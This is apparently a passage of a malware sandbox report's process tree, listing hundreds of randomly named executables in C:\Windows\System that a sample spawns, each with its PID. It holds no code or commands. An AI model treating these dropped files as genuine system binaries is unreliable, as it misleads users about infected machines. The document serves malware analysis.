- C:\Windows\System\cFbxfRg.exe
  C:\Windows\System\cFbxfRg.exe
  2⤵
  PID:8116
- C:\Windows\System\JcwHMiw.exe
  C:\Windows\System\JcwHMiw.exe
  2⤵
  PID:6216
- C:\Windows\System\anfmMrj.exe
  C:\Windows\System\anfmMrj.exe
  2⤵
  PID:3968
- C:\Windows\System\tGOiCPT.exe
  C:\Windows\System\tGOiCPT.exe
  2⤵
  PID:7308
- C:\Windows\System\AtHZctu.exe
  C:\Windows\System\AtHZctu.exe
  2⤵
  PID:7556
- C:\Windows\System\OGnXULD.exe
  C:\Windows\System\OGnXULD.exe
  2⤵
  PID:1572
- C:\Windows\System\ATLWMMP.exe
  C:\Windows\System\ATLWMMP.exe
  2⤵
  PID:4068
- C:\Windows\System\zEbbxiI.exe
  C:\Windows\System\zEbbxiI.exe
  2⤵
  PID:1404
- C:\Windows\System\NMflzZV.exe
  C:\Windows\System\NMflzZV.exe
  2⤵
  PID:8176
- C:\Windows\System\jDqfTGD.exe
  C:\Windows\System\jDqfTGD.exe
  2⤵
  PID:8224
- C:\Windows\System\gkCJIdB.exe
  C:\Windows\System\gkCJIdB.exe
  2⤵
  PID:8312
- C:\Windows\System\OMRzWeq.exe
  C:\Windows\System\OMRzWeq.exe
  2⤵
  PID:8344
- C:\Windows\System\nSGHbpM.exe
  C:\Windows\System\nSGHbpM.exe
  2⤵
  PID:8368
- C:\Windows\System\RHRNXoc.exe
  C:\Windows\System\RHRNXoc.exe
  2⤵
  PID:8396
- C:\Windows\System\vzSQOQX.exe
  C:\Windows\System\vzSQOQX.exe
  2⤵
  PID:8416
- C:\Windows\System\WjRvuQJ.exe
  C:\Windows\System\WjRvuQJ.exe
  2⤵
  PID:8444
- C:\Windows\System\nErroEg.exe
  C:\Windows\System\nErroEg.exe
  2⤵
  PID:8472
- C:\Windows\System\SYLjAkG.exe
  C:\Windows\System\SYLjAkG.exe
  2⤵
  PID:8508
- C:\Windows\System\SnljPZM.exe
  C:\Windows\System\SnljPZM.exe
  2⤵
  PID:8560
- C:\Windows\System\acudHwG.exe
  C:\Windows\System\acudHwG.exe
  2⤵
  PID:8592
- C:\Windows\System\wzFHUOD.exe
  C:\Windows\System\wzFHUOD.exe
  2⤵
  PID:8628
- C:\Windows\System\XSHpxBr.exe
  C:\Windows\System\XSHpxBr.exe
  2⤵
  PID:8660
- C:\Windows\System\BqbgHHJ.exe
  C:\Windows\System\BqbgHHJ.exe
  2⤵
  PID:8700
- C:\Windows\System\AksbYvk.exe
  C:\Windows\System\AksbYvk.exe
  2⤵
  PID:8724
- C:\Windows\System\bZMKNQS.exe
  C:\Windows\System\bZMKNQS.exe
  2⤵
  PID:8756
- C:\Windows\System\iTupMCT.exe
  C:\Windows\System\iTupMCT.exe
  2⤵
  PID:8912
- C:\Windows\System\CQpvjen.exe
  C:\Windows\System\CQpvjen.exe
  2⤵
  PID:8932
- C:\Windows\System\xCDteLb.exe
  C:\Windows\System\xCDteLb.exe
  2⤵
  PID:8948
- C:\Windows\System\iiuEGIk.exe
  C:\Windows\System\iiuEGIk.exe
  2⤵
  PID:8968
- C:\Windows\System\hnzuRDq.exe
  C:\Windows\System\hnzuRDq.exe
  2⤵
  PID:9000
- C:\Windows\System\yDGciWB.exe
  C:\Windows\System\yDGciWB.exe
  2⤵
  PID:9036
- C:\Windows\System\BTecfgc.exe
  C:\Windows\System\BTecfgc.exe
  2⤵
  PID:9076
- C:\Windows\System\DOhLwgo.exe
  C:\Windows\System\DOhLwgo.exe
  2⤵
  PID:9112
- C:\Windows\System\MgpwtQS.exe
  C:\Windows\System\MgpwtQS.exe
  2⤵
  PID:9136
- C:\Windows\System\pQwJoiZ.exe
  C:\Windows\System\pQwJoiZ.exe
  2⤵
  PID:9152
- C:\Windows\System\gyEqOuv.exe
  C:\Windows\System\gyEqOuv.exe
  2⤵
  PID:3348
- C:\Windows\System\YHASbuI.exe
  C:\Windows\System\YHASbuI.exe
  2⤵
  PID:2400
- C:\Windows\System\JfjqKgj.exe
  C:\Windows\System\JfjqKgj.exe
  2⤵
  PID:1472
- C:\Windows\System\tFMAkMr.exe
  C:\Windows\System\tFMAkMr.exe
  2⤵
  PID:4820
- C:\Windows\System\fmQWevT.exe
  C:\Windows\System\fmQWevT.exe
  2⤵
  PID:2764
- C:\Windows\System\tMXmSVd.exe
  C:\Windows\System\tMXmSVd.exe
  2⤵
  PID:8384
- C:\Windows\System\UVKLIqz.exe
  C:\Windows\System\UVKLIqz.exe
  2⤵
  PID:8388
- C:\Windows\System\CXKiPPG.exe
  C:\Windows\System\CXKiPPG.exe
  2⤵
  PID:8688
- C:\Windows\System\QUpQbjf.exe
  C:\Windows\System\QUpQbjf.exe
  2⤵
  PID:8616
- C:\Windows\System\obWdBhV.exe
  C:\Windows\System\obWdBhV.exe
  2⤵
  PID:1684
- C:\Windows\System\KabqLlT.exe
  C:\Windows\System\KabqLlT.exe
  2⤵
  PID:8944
- C:\Windows\System\dVHRbGx.exe
  C:\Windows\System\dVHRbGx.exe
  2⤵
  PID:9164
- C:\Windows\System\JOURfhc.exe
  C:\Windows\System\JOURfhc.exe
  2⤵
  PID:9128
- C:\Windows\System\NzncdRB.exe
  C:\Windows\System\NzncdRB.exe
  2⤵
  PID:5016
- C:\Windows\System\yjoSPGD.exe
  C:\Windows\System\yjoSPGD.exe
  2⤵
  PID:3504
- C:\Windows\System\ZWKkxHS.exe
  C:\Windows\System\ZWKkxHS.exe
  2⤵
  PID:8436
- C:\Windows\System\sZFkAlb.exe
  C:\Windows\System\sZFkAlb.exe
  2⤵
  PID:8640
- C:\Windows\System\bEkFWtf.exe
  C:\Windows\System\bEkFWtf.exe
  2⤵
  PID:4916
- C:\Windows\System\PDyLlKd.exe
  C:\Windows\System\PDyLlKd.exe
  2⤵
  PID:8900
- C:\Windows\System\TdHJkCc.exe
  C:\Windows\System\TdHJkCc.exe
  2⤵
  PID:9032
- C:\Windows\System\OWUJPLL.exe
  C:\Windows\System\OWUJPLL.exe
  2⤵
  PID:7728
- C:\Windows\System\dMLXfTt.exe
  C:\Windows\System\dMLXfTt.exe
  2⤵
  PID:820
- C:\Windows\System\aUVjtmC.exe
  C:\Windows\System\aUVjtmC.exe
  2⤵
  PID:4716
- C:\Windows\System\TVvxNqd.exe
  C:\Windows\System\TVvxNqd.exe
  2⤵
  PID:4776
- C:\Windows\System\ZwaKQGR.exe
  C:\Windows\System\ZwaKQGR.exe
  2⤵
  PID:8520
- C:\Windows\System\dElTjhf.exe
  C:\Windows\System\dElTjhf.exe
  2⤵
  PID:8620
- C:\Windows\System\zcQbYbh.exe
  C:\Windows\System\zcQbYbh.exe
  2⤵
  PID:3112
- C:\Windows\System\YwBWvER.exe
  C:\Windows\System\YwBWvER.exe
  2⤵
  PID:4912
- C:\Windows\System\trXXPTr.exe
  C:\Windows\System\trXXPTr.exe
  2⤵
  PID:4184
- C:\Windows\System\xEipvUL.exe
  C:\Windows\System\xEipvUL.exe
  2⤵
  PID:8956
- C:\Windows\System\MPcyeGY.exe
  C:\Windows\System\MPcyeGY.exe
  2⤵
  PID:2292
- C:\Windows\System\XMhfPNC.exe
  C:\Windows\System\XMhfPNC.exe
  2⤵
  PID:2740
- C:\Windows\System\sYoYnQA.exe
  C:\Windows\System\sYoYnQA.exe
  2⤵
  PID:8600
- C:\Windows\System\GrmoKUy.exe
  C:\Windows\System\GrmoKUy.exe
  2⤵
  PID:8796
- C:\Windows\System\jhLTNyR.exe
  C:\Windows\System\jhLTNyR.exe
  2⤵
  PID:8708
- C:\Windows\System\chCnekP.exe
  C:\Windows\System\chCnekP.exe
  2⤵
  PID:9124
- C:\Windows\System\qulWfeZ.exe
  C:\Windows\System\qulWfeZ.exe
  2⤵
  PID:9196
- C:\Windows\System\unTUEpw.exe
  C:\Windows\System\unTUEpw.exe
  2⤵
  PID:4408
- C:\Windows\System\kOpsTOJ.exe
  C:\Windows\System\kOpsTOJ.exe
  2⤵
  PID:620
- C:\Windows\System\QmiUEwg.exe
  C:\Windows\System\QmiUEwg.exe
  2⤵
  PID:2996
- C:\Windows\System\vTKoSPW.exe
  C:\Windows\System\vTKoSPW.exe
  2⤵
  PID:5012
- C:\Windows\System\QytVfDn.exe
  C:\Windows\System\QytVfDn.exe
  2⤵
  PID:2780
- C:\Windows\System\vTCZaoK.exe
  C:\Windows\System\vTCZaoK.exe
  2⤵
  PID:9072
- C:\Windows\System\Kggfxbi.exe
  C:\Windows\System\Kggfxbi.exe
  2⤵
  PID:9144
- C:\Windows\System\dJVsFAb.exe
  C:\Windows\System\dJVsFAb.exe
  2⤵
  PID:9220
- C:\Windows\System\kRElnmP.exe
  C:\Windows\System\kRElnmP.exe
  2⤵
  PID:9244
- C:\Windows\System\ZqlRULv.exe
  C:\Windows\System\ZqlRULv.exe
  2⤵
  PID:9280
- C:\Windows\System\unWKfrc.exe
  C:\Windows\System\unWKfrc.exe
  2⤵
  PID:9340
- C:\Windows\System\hAAHiMr.exe
  C:\Windows\System\hAAHiMr.exe
  2⤵
  PID:9384
- C:\Windows\System\ZruSJTY.exe
  C:\Windows\System\ZruSJTY.exe
  2⤵
  PID:9420
- C:\Windows\System\wjDTpzw.exe
  C:\Windows\System\wjDTpzw.exe
  2⤵
  PID:9448
- C:\Windows\System\NhuFrNo.exe
  C:\Windows\System\NhuFrNo.exe
  2⤵
  PID:9476
- C:\Windows\System\snUDWwQ.exe
  C:\Windows\System\snUDWwQ.exe
  2⤵
  PID:9504
- C:\Windows\System\Kndouvu.exe
  C:\Windows\System\Kndouvu.exe
  2⤵
  PID:9532
- C:\Windows\System\zqlNyDp.exe
  C:\Windows\System\zqlNyDp.exe
  2⤵
  PID:9560
- C:\Windows\System\ZHDXHcX.exe
  C:\Windows\System\ZHDXHcX.exe
  2⤵
  PID:9588
- C:\Windows\System\qOrvAyt.exe
  C:\Windows\System\qOrvAyt.exe
  2⤵
  PID:9616
- C:\Windows\System\xKktXJY.exe
  C:\Windows\System\xKktXJY.exe
  2⤵
  PID:9644
- C:\Windows\System\ASFlwPZ.exe
  C:\Windows\System\ASFlwPZ.exe
  2⤵
  PID:9664
- C:\Windows\System\MUfzpGZ.exe
  C:\Windows\System\MUfzpGZ.exe
  2⤵
  PID:9688
- C:\Windows\System\nFLdxxN.exe
  C:\Windows\System\nFLdxxN.exe
  2⤵
  PID:9728
- C:\Windows\System\XcwBYiQ.exe
  C:\Windows\System\XcwBYiQ.exe
  2⤵
  PID:9756
- C:\Windows\System\vbllEFb.exe
  C:\Windows\System\vbllEFb.exe
  2⤵
  PID:9776
- C:\Windows\System\BIDgAFd.exe
  C:\Windows\System\BIDgAFd.exe
  2⤵
  PID:9800
- C:\Windows\System\Zndgbee.exe
  C:\Windows\System\Zndgbee.exe
  2⤵
  PID:9824
- C:\Windows\System\hnJtHrr.exe
  C:\Windows\System\hnJtHrr.exe
  2⤵
  PID:9852
- C:\Windows\System\NIWLbbx.exe
  C:\Windows\System\NIWLbbx.exe
  2⤵
  PID:9900
- C:\Windows\System\fQFocWe.exe
  C:\Windows\System\fQFocWe.exe
  2⤵
  PID:9928
- C:\Windows\System\CUDndDR.exe
  C:\Windows\System\CUDndDR.exe
  2⤵
  PID:9956
- C:\Windows\System\cUgtNOC.exe
  C:\Windows\System\cUgtNOC.exe
  2⤵
  PID:9976
- C:\Windows\System\jagAsCR.exe
  C:\Windows\System\jagAsCR.exe
  2⤵
  PID:10012
- C:\Windows\System\FbVFyYB.exe
  C:\Windows\System\FbVFyYB.exe
  2⤵
  PID:10040
- C:\Windows\System\OQnhtaN.exe
  C:\Windows\System\OQnhtaN.exe
  2⤵
  PID:10068
- C:\Windows\System\RjirywR.exe
  C:\Windows\System\RjirywR.exe
  2⤵
  PID:10100
- C:\Windows\System\xSROAXo.exe
  C:\Windows\System\xSROAXo.exe
  2⤵
  PID:10128
- C:\Windows\System\rYlaRNQ.exe
  C:\Windows\System\rYlaRNQ.exe
  2⤵
  PID:10156
- C:\Windows\System\BCCXJxK.exe
  C:\Windows\System\BCCXJxK.exe
  2⤵
  PID:10184
- C:\Windows\System\RTeAQfh.exe
  C:\Windows\System\RTeAQfh.exe
  2⤵
  PID:10212
- C:\Windows\System\gsriHum.exe
  C:\Windows\System\gsriHum.exe
  2⤵
  PID:8540
- C:\Windows\System\BqUdOxI.exe
  C:\Windows\System\BqUdOxI.exe
  2⤵
  PID:9232
- C:\Windows\System\uZjIbcl.exe
  C:\Windows\System\uZjIbcl.exe
  2⤵
  PID:9272
- C:\Windows\System\iuPZPJD.exe
  C:\Windows\System\iuPZPJD.exe
  2⤵
  PID:9352
- C:\Windows\System\rfSRNIT.exe
  C:\Windows\System\rfSRNIT.exe
  2⤵
  PID:9404
- C:\Windows\System\UpPGzGl.exe
  C:\Windows\System\UpPGzGl.exe
  2⤵
  PID:9460
- C:\Windows\System\ukUTmBB.exe
  C:\Windows\System\ukUTmBB.exe
  2⤵
  PID:9528
- C:\Windows\System\hXiZCYP.exe
  C:\Windows\System\hXiZCYP.exe
  2⤵
  PID:9584
- C:\Windows\System\JhmDPFz.exe
  C:\Windows\System\JhmDPFz.exe
  2⤵
  PID:9680
- C:\Windows\System\XaEdxPd.exe
  C:\Windows\System\XaEdxPd.exe
  2⤵
  PID:9812
- C:\Windows\System\yFLfxDa.exe
  C:\Windows\System\yFLfxDa.exe
  2⤵
  PID:9844
- C:\Windows\System\xwQmWTR.exe
  C:\Windows\System\xwQmWTR.exe
  2⤵
  PID:9920
- C:\Windows\System\IEcNFti.exe
  C:\Windows\System\IEcNFti.exe
  2⤵
  PID:9964
- C:\Windows\System\Zkeencx.exe
  C:\Windows\System\Zkeencx.exe
  2⤵
  PID:10056
- C:\Windows\System\lrOgMfs.exe
  C:\Windows\System\lrOgMfs.exe
  2⤵
  PID:10120
- C:\Windows\System\sBNATnQ.exe
  C:\Windows\System\sBNATnQ.exe
  2⤵
  PID:10152
- C:\Windows\System\QxoOmTK.exe
  C:\Windows\System\QxoOmTK.exe
  2⤵
  PID:10200
- C:\Windows\System\kBEMQFz.exe
  C:\Windows\System\kBEMQFz.exe
  2⤵
  PID:9268
- C:\Windows\System\EwlDDcH.exe
  C:\Windows\System\EwlDDcH.exe
  2⤵
  PID:9416
- C:\Windows\System\psGrBMk.exe
  C:\Windows\System\psGrBMk.exe
  2⤵
  PID:9652
- C:\Windows\System\WxVtmpY.exe
  C:\Windows\System\WxVtmpY.exe
  2⤵
  PID:9820
- C:\Windows\System\qwUCVME.exe
  C:\Windows\System\qwUCVME.exe
  2⤵
  PID:9988
- C:\Windows\System\oLoKHXy.exe
  C:\Windows\System\oLoKHXy.exe
  2⤵
  PID:10080
- C:\Windows\System\pPaTJHI.exe
  C:\Windows\System\pPaTJHI.exe
  2⤵
  PID:10228
- C:\Windows\System\ZxNeiYS.exe
  C:\Windows\System\ZxNeiYS.exe
  2⤵
  PID:9640
- C:\Windows\System\QDLYCgT.exe
  C:\Windows\System\QDLYCgT.exe
  2⤵
  PID:10032
- C:\Windows\System\uTFwasX.exe
  C:\Windows\System\uTFwasX.exe
  2⤵
  PID:9552
- C:\Windows\System\ALptyfF.exe
  C:\Windows\System\ALptyfF.exe
  2⤵
  PID:9860
- C:\Windows\System\TURkFci.exe
  C:\Windows\System\TURkFci.exe
  2⤵
  PID:10268
- C:\Windows\System\MOudnyh.exe
  C:\Windows\System\MOudnyh.exe
  2⤵
  PID:10284
- C:\Windows\System\XniOuqQ.exe
  C:\Windows\System\XniOuqQ.exe
  2⤵
  PID:10316
- C:\Windows\System\cAPNCEH.exe
  C:\Windows\System\cAPNCEH.exe
  2⤵
  PID:10356
- C:\Windows\System\AHhHJcw.exe
  C:\Windows\System\AHhHJcw.exe
  2⤵
  PID:10384
- C:\Windows\System\teYBCKo.exe
  C:\Windows\System\teYBCKo.exe
  2⤵
  PID:10404
- C:\Windows\System\XeOxWDd.exe
  C:\Windows\System\XeOxWDd.exe
  2⤵
  PID:10436
- C:\Windows\System\WTkaduz.exe
  C:\Windows\System\WTkaduz.exe
  2⤵
  PID:10472
- C:\Windows\System\IyiWVpG.exe
  C:\Windows\System\IyiWVpG.exe
  2⤵
  PID:10500
- C:\Windows\System\KWcBjfD.exe
  C:\Windows\System\KWcBjfD.exe
  2⤵
  PID:10516
- C:\Windows\System\cVACJes.exe
  C:\Windows\System\cVACJes.exe
  2⤵
  PID:10556
- C:\Windows\System\afOZHOG.exe
  C:\Windows\System\afOZHOG.exe
  2⤵
  PID:10584
- C:\Windows\System\gYVODNJ.exe
  C:\Windows\System\gYVODNJ.exe
  2⤵
  PID:10612
- C:\Windows\System\nmeTqbu.exe
  C:\Windows\System\nmeTqbu.exe
  2⤵
  PID:10640
- C:\Windows\System\ZcqnahA.exe
  C:\Windows\System\ZcqnahA.exe
  2⤵
  PID:10668
- C:\Windows\System\xVrfvUA.exe
  C:\Windows\System\xVrfvUA.exe
  2⤵
  PID:10692
- C:\Windows\System\iHuifbp.exe
  C:\Windows\System\iHuifbp.exe
  2⤵
  PID:10724
- C:\Windows\System\cPLxtCK.exe
  C:\Windows\System\cPLxtCK.exe
  2⤵
  PID:10752
- C:\Windows\System\CTIulIh.exe
  C:\Windows\System\CTIulIh.exe
  2⤵
  PID:10780
- C:\Windows\System\tLipwhm.exe
  C:\Windows\System\tLipwhm.exe
  2⤵
  PID:10796
- C:\Windows\System\XNujNoL.exe
  C:\Windows\System\XNujNoL.exe
  2⤵
  PID:10836
- C:\Windows\System\WBGPWhQ.exe
  C:\Windows\System\WBGPWhQ.exe
  2⤵
  PID:10864
- C:\Windows\System\dxaRTmZ.exe
  C:\Windows\System\dxaRTmZ.exe
  2⤵
  PID:10892
- C:\Windows\System\yKIBybh.exe
  C:\Windows\System\yKIBybh.exe
  2⤵
  PID:10908
- C:\Windows\System\HvcHHpZ.exe
  C:\Windows\System\HvcHHpZ.exe
  2⤵
  PID:10944
- C:\Windows\System\yAgOgAy.exe
  C:\Windows\System\yAgOgAy.exe
  2⤵
  PID:10976
- C:\Windows\System\BBDlSBv.exe
  C:\Windows\System\BBDlSBv.exe
  2⤵
  PID:10992
- C:\Windows\System\oFMOEXt.exe
  C:\Windows\System\oFMOEXt.exe
  2⤵
  PID:11028
- C:\Windows\System\WeWWdva.exe
  C:\Windows\System\WeWWdva.exe
  2⤵
  PID:11060
- C:\Windows\System\vKMlrIr.exe
  C:\Windows\System\vKMlrIr.exe
  2⤵
  PID:11076
- C:\Windows\System\CdMgLNA.exe
  C:\Windows\System\CdMgLNA.exe
  2⤵
  PID:11104
- C:\Windows\System\uAKEuUV.exe
  C:\Windows\System\uAKEuUV.exe
  2⤵
  PID:11136
- C:\Windows\System\SEewJpb.exe
  C:\Windows\System\SEewJpb.exe
  2⤵
  PID:11172
- C:\Windows\System\sRuBQIN.exe
  C:\Windows\System\sRuBQIN.exe
  2⤵
  PID:11204
- C:\Windows\System\Suiuuqb.exe
  C:\Windows\System\Suiuuqb.exe
  2⤵
  PID:11224
- C:\Windows\System\URtNzsl.exe
  C:\Windows\System\URtNzsl.exe
  2⤵
  PID:11248
- C:\Windows\System\DxHmiHY.exe
  C:\Windows\System\DxHmiHY.exe
  2⤵
  PID:10324
- C:\Windows\System\MRHXelA.exe
  C:\Windows\System\MRHXelA.exe
  2⤵
  PID:10368
- C:\Windows\System\mKcGXjD.exe
  C:\Windows\System\mKcGXjD.exe
  2⤵
  PID:10424
- C:\Windows\System\hLYWJvO.exe
  C:\Windows\System\hLYWJvO.exe
  2⤵
  PID:10464
- C:\Windows\System\OpNSFCO.exe
  C:\Windows\System\OpNSFCO.exe
  2⤵
  PID:10552
- C:\Windows\System\jznFZRr.exe
  C:\Windows\System\jznFZRr.exe
  2⤵
  PID:10624
- C:\Windows\System\xOxJnkm.exe
  C:\Windows\System\xOxJnkm.exe
  2⤵
  PID:10660
- C:\Windows\System\zAYdpFm.exe
  C:\Windows\System\zAYdpFm.exe
  2⤵
  PID:10768
- C:\Windows\System\oxFFHbO.exe
  C:\Windows\System\oxFFHbO.exe
  2⤵
  PID:10876
- C:\Windows\System\cjiaGFM.exe
  C:\Windows\System\cjiaGFM.exe
  2⤵
  PID:10972
- C:\Windows\System\avAbhzP.exe
  C:\Windows\System\avAbhzP.exe
  2⤵
  PID:11048
- C:\Windows\System\RXziniK.exe
  C:\Windows\System\RXziniK.exe
  2⤵
  PID:11088
- C:\Windows\System\fKvaOWJ.exe
  C:\Windows\System\fKvaOWJ.exe
  2⤵
  PID:11168
- C:\Windows\System\wZipeEL.exe
  C:\Windows\System\wZipeEL.exe
  2⤵
  PID:11216
- C:\Windows\System\qniiLMr.exe
  C:\Windows\System\qniiLMr.exe
  2⤵
  PID:10264
- C:\Windows\System\SfWGTVm.exe
  C:\Windows\System\SfWGTVm.exe
  2⤵
  PID:10496
- C:\Windows\System\gzWmgeQ.exe
  C:\Windows\System\gzWmgeQ.exe
  2⤵
  PID:10656
- C:\Windows\System\oRpOrOs.exe
  C:\Windows\System\oRpOrOs.exe
  2⤵
  PID:10792
- C:\Windows\System\bdAuoYL.exe
  C:\Windows\System\bdAuoYL.exe
  2⤵
  PID:10940
- C:\Windows\System\hBvvSru.exe
  C:\Windows\System\hBvvSru.exe
  2⤵
  PID:11096
- C:\Windows\System\vDjmDPc.exe
  C:\Windows\System\vDjmDPc.exe
  2⤵
  PID:11236
- C:\Windows\System\fdyMrjX.exe
  C:\Windows\System\fdyMrjX.exe
  2⤵
  PID:10808
- C:\Windows\System\HgwWVmZ.exe
  C:\Windows\System\HgwWVmZ.exe
  2⤵
  PID:11200
- C:\Windows\System\neTIbaO.exe
  C:\Windows\System\neTIbaO.exe
  2⤵
  PID:10856
- C:\Windows\System\GLaQisr.exe
  C:\Windows\System\GLaQisr.exe
  2⤵
  PID:10608
- C:\Windows\System\xcVMeno.exe
  C:\Windows\System\xcVMeno.exe
  2⤵
  PID:11288
- C:\Windows\System\ThbebBZ.exe
  C:\Windows\System\ThbebBZ.exe
  2⤵
  PID:11304
- C:\Windows\System\tWhtaUW.exe
  C:\Windows\System\tWhtaUW.exe
  2⤵
  PID:11344
- C:\Windows\System\CfYVFsv.exe
  C:\Windows\System\CfYVFsv.exe
  2⤵
  PID:11372
- C:\Windows\System\PmzKOsm.exe
  C:\Windows\System\PmzKOsm.exe
  2⤵
  PID:11400
- C:\Windows\System\WJkBxGZ.exe
  C:\Windows\System\WJkBxGZ.exe
  2⤵
  PID:11428
- C:\Windows\System\aBJsxVE.exe
  C:\Windows\System\aBJsxVE.exe
  2⤵
  PID:11456
- C:\Windows\System\rAulNPQ.exe
  C:\Windows\System\rAulNPQ.exe
  2⤵
  PID:11484
- C:\Windows\System\lRIdueu.exe
  C:\Windows\System\lRIdueu.exe
  2⤵
  PID:11512
- C:\Windows\System\SeGldKA.exe
  C:\Windows\System\SeGldKA.exe
  2⤵
  PID:11540
- C:\Windows\System\LOPLrTq.exe
  C:\Windows\System\LOPLrTq.exe
  2⤵
  PID:11572
- C:\Windows\System\ynhRRyW.exe
  C:\Windows\System\ynhRRyW.exe
  2⤵
  PID:11600
- C:\Windows\System\ywFoUQs.exe
  C:\Windows\System\ywFoUQs.exe
  2⤵
  PID:11628
- C:\Windows\System\bXezDGL.exe
  C:\Windows\System\bXezDGL.exe
  2⤵
  PID:11664
- C:\Windows\System\ZdihBQc.exe
  C:\Windows\System\ZdihBQc.exe
  2⤵
  PID:11696
- C:\Windows\System\xuaPbtE.exe
  C:\Windows\System\xuaPbtE.exe
  2⤵
  PID:11728
- C:\Windows\System\yBClOIl.exe
  C:\Windows\System\yBClOIl.exe
  2⤵
  PID:11744
- C:\Windows\System\uXRONfo.exe
  C:\Windows\System\uXRONfo.exe
  2⤵
  PID:11788
- C:\Windows\System\hsDVZJr.exe
  C:\Windows\System\hsDVZJr.exe
  2⤵
  PID:11836
- C:\Windows\System\GhnqqCe.exe
  C:\Windows\System\GhnqqCe.exe
  2⤵
  PID:11868
- C:\Windows\System\KjetwWg.exe
  C:\Windows\System\KjetwWg.exe
  2⤵
  PID:11912
- C:\Windows\System\MxfMaAc.exe
  C:\Windows\System\MxfMaAc.exe
  2⤵
  PID:11932
- C:\Windows\System\ugzLMLg.exe
  C:\Windows\System\ugzLMLg.exe
  2⤵
  PID:11980
- C:\Windows\System\bjYeMYC.exe
  C:\Windows\System\bjYeMYC.exe
  2⤵
  PID:12012
- C:\Windows\System\bhTDSXS.exe
  C:\Windows\System\bhTDSXS.exe
  2⤵
  PID:12028
- C:\Windows\System\vNhRsah.exe
  C:\Windows\System\vNhRsah.exe
  2⤵
  PID:12092
- C:\Windows\System\wJflusb.exe
  C:\Windows\System\wJflusb.exe
  2⤵
  PID:12112
- C:\Windows\System\HsRBBTG.exe
  C:\Windows\System\HsRBBTG.exe
  2⤵
  PID:12164
- C:\Windows\System\YOYgBFf.exe
  C:\Windows\System\YOYgBFf.exe
  2⤵
  PID:12208
- C:\Windows\System\AeAcxlc.exe
  C:\Windows\System\AeAcxlc.exe
  2⤵
  PID:12240
- C:\Windows\System\CYnfAvl.exe
  C:\Windows\System\CYnfAvl.exe
  2⤵
  PID:12276
- C:\Windows\System\NqulxFG.exe
  C:\Windows\System\NqulxFG.exe
  2⤵
  PID:11316
- C:\Windows\System\ewtBupo.exe
  C:\Windows\System\ewtBupo.exe
  2⤵
  PID:11392
- C:\Windows\System\tnQKSQo.exe
  C:\Windows\System\tnQKSQo.exe
  2⤵
  PID:11424
- C:\Windows\System\bDfbDSP.exe
  C:\Windows\System\bDfbDSP.exe
  2⤵
  PID:11476
- C:\Windows\System\NIuhDae.exe
  C:\Windows\System\NIuhDae.exe
  2⤵
  PID:11552
- C:\Windows\System\igbPajO.exe
  C:\Windows\System\igbPajO.exe
  2⤵
  PID:11596
- C:\Windows\System\PdjJIsS.exe
  C:\Windows\System\PdjJIsS.exe
  2⤵
  PID:11644
- C:\Windows\System\xkHmuxj.exe
  C:\Windows\System\xkHmuxj.exe
  2⤵
  PID:11860
- C:\Windows\System\SuhPezu.exe
  C:\Windows\System\SuhPezu.exe
  2⤵
  PID:11956
- C:\Windows\System\UkPhbms.exe
  C:\Windows\System\UkPhbms.exe
  2⤵
  PID:12024
- C:\Windows\System\ZoIcyuL.exe
  C:\Windows\System\ZoIcyuL.exe
  2⤵
  PID:12080
- C:\Windows\System\wMuTCyA.exe
  C:\Windows\System\wMuTCyA.exe
  2⤵
  PID:12192
- C:\Windows\System\bIiaJzq.exe
  C:\Windows\System\bIiaJzq.exe
  2⤵
  PID:12272
- C:\Windows\System\IOarrIO.exe
  C:\Windows\System\IOarrIO.exe
  2⤵
  PID:11412
- C:\Windows\System\tsDcSRz.exe
  C:\Windows\System\tsDcSRz.exe
  2⤵
  PID:11420
- C:\Windows\System\HWuUxFa.exe
  C:\Windows\System\HWuUxFa.exe
  2⤵
  PID:11524
- C:\Windows\System\fBJalmR.exe
  C:\Windows\System\fBJalmR.exe
  2⤵
  PID:11780
- C:\Windows\System\pIooOsS.exe
  C:\Windows\System\pIooOsS.exe
  2⤵
  PID:11992
- C:\Windows\System\oLoBtEm.exe
  C:\Windows\System\oLoBtEm.exe
  2⤵
  PID:12200
- C:\Windows\System\ZdsLqwO.exe
  C:\Windows\System\ZdsLqwO.exe
  2⤵
  PID:8240
- C:\Windows\System\LhRpUEs.exe
  C:\Windows\System\LhRpUEs.exe
  2⤵
  PID:11640
- C:\Windows\System\tcBXKrp.exe
  C:\Windows\System\tcBXKrp.exe
  2⤵
  PID:12260
- C:\Windows\System\yaHwYXG.exe
  C:\Windows\System\yaHwYXG.exe
  2⤵
  PID:12060
- C:\Windows\System\tbTqDvZ.exe
  C:\Windows\System\tbTqDvZ.exe
  2⤵
  PID:12304
- C:\Windows\System\cghLAbt.exe
  C:\Windows\System\cghLAbt.exe
  2⤵
  PID:12332
- C:\Windows\System\lgqYsNr.exe
  C:\Windows\System\lgqYsNr.exe
  2⤵
  PID:12360
- C:\Windows\System\scXPEwA.exe
  C:\Windows\System\scXPEwA.exe
  2⤵
  PID:12392
- C:\Windows\System\YCtvuXT.exe
  C:\Windows\System\YCtvuXT.exe
  2⤵
  PID:12420
- C:\Windows\System\vbnpkZq.exe
  C:\Windows\System\vbnpkZq.exe
  2⤵
  PID:12448
- C:\Windows\System\BMulNuy.exe
  C:\Windows\System\BMulNuy.exe
  2⤵
  PID:12476
- C:\Windows\System\eNuHWuf.exe
  C:\Windows\System\eNuHWuf.exe
  2⤵
  PID:12504
- C:\Windows\System\WakfAoo.exe
  C:\Windows\System\WakfAoo.exe
  2⤵
  PID:12532
- C:\Windows\System\ndMjZRL.exe
  C:\Windows\System\ndMjZRL.exe
  2⤵
  PID:12560
- C:\Windows\System\SMIhIrx.exe
  C:\Windows\System\SMIhIrx.exe
  2⤵
  PID:12588
- C:\Windows\System\WgJnXJI.exe
  C:\Windows\System\WgJnXJI.exe
  2⤵
  PID:12616
- C:\Windows\System\CqXltnG.exe
  C:\Windows\System\CqXltnG.exe
  2⤵
  PID:12644
- C:\Windows\System\OcexkPE.exe
  C:\Windows\System\OcexkPE.exe
  2⤵
  PID:12672
- C:\Windows\System\NYadlXc.exe
  C:\Windows\System\NYadlXc.exe
  2⤵
  PID:12688
- C:\Windows\System\hHLlSvI.exe
  C:\Windows\System\hHLlSvI.exe
  2⤵
  PID:12728
- C:\Windows\System\WTXmIWW.exe
  C:\Windows\System\WTXmIWW.exe
  2⤵
  PID:12748
- C:\Windows\System\KsEtmzy.exe
  C:\Windows\System\KsEtmzy.exe
  2⤵
  PID:12776
- C:\Windows\System\pEsyVxz.exe
  C:\Windows\System\pEsyVxz.exe
  2⤵
  PID:12812
- C:\Windows\System\LnmbVgk.exe
